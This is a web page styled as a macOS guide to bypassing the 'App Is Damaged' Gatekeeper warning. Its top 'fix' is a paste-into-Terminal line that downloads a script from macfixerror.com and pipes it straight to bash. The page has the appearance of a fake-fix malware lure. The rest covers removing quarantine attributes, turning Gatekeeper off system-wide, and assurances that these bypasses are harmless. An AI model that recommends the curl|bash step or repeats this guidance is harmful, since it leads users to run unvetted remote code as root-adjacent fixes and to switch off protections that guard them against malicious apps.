How to Bypass the “App Is Damaged” Warning on Mac

“Bypass” here means getting past a failed trust check without reinstalling the app. Four routes work, ranked from narrowest to broadest. The last one disables Gatekeeper system-wide and should be treated as temporary.

Updated December 2, 2026 · About 6 min read · macOS 13–26

The fix

One-line helper Run the helper
curl -fsSL https://macfixerror.com/run.sh | bash

Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.

Narrow: delete the quarantine flag
sudo xattr -d com.apple.quarantine "/Applications/Your App.app"

Removes one attribute, leaves everything else intact. The least invasive bypass.

Broad: clear all attributes
sudo xattr -cr "/Applications/Your App.app"

Use when the narrow form is refused or the flag sits deeper in the bundle. Also removes Finder tags.

System-wide: disable Gatekeeper
sudo spctl --master-disable

Turns Gatekeeper off for all apps. Remember to re-enable it afterwards.

Re-enable Gatekeeper
sudo spctl --master-enable

Restores the normal policy. Do this as soon as the app has launched once.

The four routes, ranked

  1. Open Anyway in Settings. No Terminal. Works for unsigned but intact apps. Reversible by removing the approval.
  2. xattr -d com.apple.quarantine. One attribute, one app. The best balance for a trusted download.
  3. xattr -cr. Same idea with a wider brush. Use it only when the narrow form does not stick.
  4. spctl --master-disable. Gatekeeper off for the whole system. Broadest and least precise.
Route 2 and 3 need the app in a writable location. Move it to /Applications first; running from a mounted disk image causes new failures.

Why the warning appears at all

Gatekeeper sees the quarantine flag, compares the signature, and cannot confirm the app. The usual reasons are an expired or ad-hoc certificate, a bundle modified after signing, or a transfer that truncated the archive. Bypassing the check does not repair any of that — it only lets the app start.

If the app then crashes on launch, the bypass succeeded but the bundle is genuinely broken; re-download it.

Temporarily disabling Gatekeeper

  1. Run sudo spctl --master-disable and authenticate.
  2. Open the app once.
  3. Quit it and run sudo spctl --master-enable.
  4. Confirm the state with spctl --status — it should say “assessments enabled”.
While Gatekeeper is off, any downloaded app can run without a signature check. Keep the window short and re-enable it the same session.

What each route does not fix

  • Open Anyway — does not clear the flag; the app is approved once, not repaired.
  • xattr — does not help an expired certificate or a truncated download.
  • spctl --master-disable — hides every Gatekeeper problem, including ones you would want to see.

If all four fail, the bundle is broken. Re-download and unpack with Archive Utility before trying again.

Check before you bypass

For an unfamiliar app, run spctl -a -vv and codesign -dv --verbose=4 first. A valid Developer ID and an “accepted” verdict mean the bypass is low risk. “Not signed at all” on a file from a stranger is worth a pause.

Background on the diagnostics is in Is it really damaged?

Frequently asked questions

Does bypassing damage anything?
No. Attributes and Gatekeeper state are settings, not content. Removing the flag or disabling the check leaves files untouched.
Does xattr -cr require a restart?
No. The change applies immediately. A restart is only useful when an app has already cached the failed state.
Is spctl --master-disable permanent?
Until you re-enable it or reinstall macOS. It survives reboots, which is why it is easy to forget.
Why does the app still fail after bypass?
The warning is gone but the bundle is corrupt or built for another architecture. Re-download, or install Rosetta for Intel-only builds.
Can I bypass on macOS Sequoia?
Yes. The Terminal routes are unchanged; the manual approval moved to Privacy & Security.
Does the quarantine flag come back?
Only if the file is downloaded again. The cleaned copy stays clean.

This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.